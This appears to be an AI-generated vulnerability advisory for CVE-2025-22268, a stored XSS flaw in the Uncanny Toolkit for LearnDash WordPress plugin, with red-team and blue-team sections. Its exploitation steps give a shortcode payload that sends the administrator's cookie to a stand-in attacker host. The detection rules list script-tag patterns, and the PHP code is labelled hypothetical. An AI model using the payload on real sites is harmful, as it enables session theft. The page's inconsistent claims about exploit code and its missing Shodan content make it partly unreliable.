CVE-2025-22268
Executive Summary
CVE-2025-22268 is a Stored Cross-Site Scripting (XSS) vulnerability in the Uncanny Toolkit for LearnDash WordPress plugin, affecting versions up to and including 3.7.0.1. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious JavaScript into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.
The vulnerability stems from improper neutralization of user-supplied input during web page generation. The plugin fails to sanitize or escape certain fields before rendering them, enabling stored XSS attacks. Given the plugin's role in extending the LearnDash Learning Management System (LMS), this vulnerability poses a significant risk to educational institutions and organizations using LearnDash for training.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:
- The plugin is widely used in the LearnDash ecosystem.
- No official patch has been released, leaving all installations of version 3.7.0.1 and earlier vulnerable.
- Administrators must rely on manual workarounds or third-party security plugins until a fix is available.
CVSS Breakdown & Threat Level
CVSS Score: 6.5 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): Low – Attacker needs contributor-level access.
- User Interaction (UI): Required – Victim must view the compromised page.
- Scope (S): Changed – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited disruption possible.
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the plugin's integration with LearnDash (which often handles sensitive user data) elevates the real-world risk.
Deep Dive & Mechanics
The Uncanny Toolkit for LearnDash plugin provides various shortcodes and custom fields to enhance the LearnDash LMS experience. The vulnerability exists in how the plugin processes and outputs user-supplied data, likely within a custom field or shortcode attribute.
Root Cause: The plugin uses functions like echo or print to output user input without proper escaping. For example, a shortcode parameter such as [uo_toolkit_custom_field value="<script>alert('XSS')</script>"] would be rendered directly into the HTML without sanitization.
Attack Flow:
- An attacker with contributor-level access creates or edits a post/page containing the vulnerable shortcode or custom field.
- The attacker injects a malicious JavaScript payload into the input field.
- When an administrator or other user views the post/page, the script executes in their browser.
- The script can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.
WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not a server or web server issue. The attack surface is limited to authenticated users, but the impact can be severe due to the trust placed in LMS platforms.
Vulnerable vs. Patched Code
Since no official patch exists, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (PHP):
function uo_toolkit_shortcode($atts) {
$value = $atts['value'];
return "<div class='toolkit-field'>$value</div>";
}
add_shortcode('uo_toolkit_custom_field', 'uo_toolkit_shortcode');
Patched Code (Hypothetical):
function uo_toolkit_shortcode($atts) {
$value = esc_html($atts['value']);
return "<div class='toolkit-field'>$value</div>";
}
add_shortcode('uo_toolkit_custom_field', 'uo_toolkit_shortcode');
The patched version uses esc_html() to encode HTML special characters, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with Uncanny Toolkit for LearnDash <= 3.7.0.1.
- Contributor-level account or higher.
Exploitation Steps:
- Log in as a contributor.
- Create a new post or page.
- Insert the vulnerable shortcode with a malicious payload:
[uo_toolkit_custom_field value="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish the post.
- Send the link to an administrator or wait for them to view the post.
- The script executes, sending the admin's session cookie to the attacker's server.
Note: No public exploit code is available for this CVE.
Blue Team
Detection:
- Monitor for posts containing suspicious shortcode parameters.
- Look for outbound connections to unknown domains from WordPress admin pages.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
Prevention:
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a security plugin like Wordfence to detect and block XSS attempts.
Indicators of Compromise (IOCs)
- Network: HTTP requests to attacker-controlled domains from WordPress admin IPs.
- File: Posts/pages containing
<script>tags within shortcode parameters. - Log: WordPress debug log entries showing unexpected output in shortcode fields.
- Cookie: Unusual cookie values or missing HttpOnly flags.
Detection Engineering
YARA Rule
rule Detect_Uncanny_Toolkit_XSS {
meta:
description = "Detects stored XSS payloads in Uncanny Toolkit for LearnDash"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-22268"
strings:
$shortcode = /\[uo_toolkit_custom_field\s+value\s*=\s*["'][^"']*<script[^>]*>/
$xss_payload = /<script[^>]*>.*<\/script>/ nocase
condition:
$shortcode and $xss_payload
}
Sigma Rule
title: Stored XSS in Uncanny Toolkit for LearnDash
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Uncanny Toolkit shortcode
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'uo_toolkit_custom_field'
cs-uri-query|re: 'value=.*<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in shortcode (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22268 Stored XSS in Uncanny Toolkit for LearnDash"; flow:to_server,established; content:"uo_toolkit_custom_field"; http_uri; content:"value="; http_uri; pcre:"/value=[^&]*<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Restrict contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode parameters.
- Add Content Security Policy (CSP) headers to prevent inline script execution:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
Long-Term Fix:
- Monitor the Uncanny Owl vendor for an official patch.
- Consider switching to an alternative LearnDash toolkit plugin if no patch is released.
- Conduct a security audit of all custom shortcodes and fields in the plugin.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.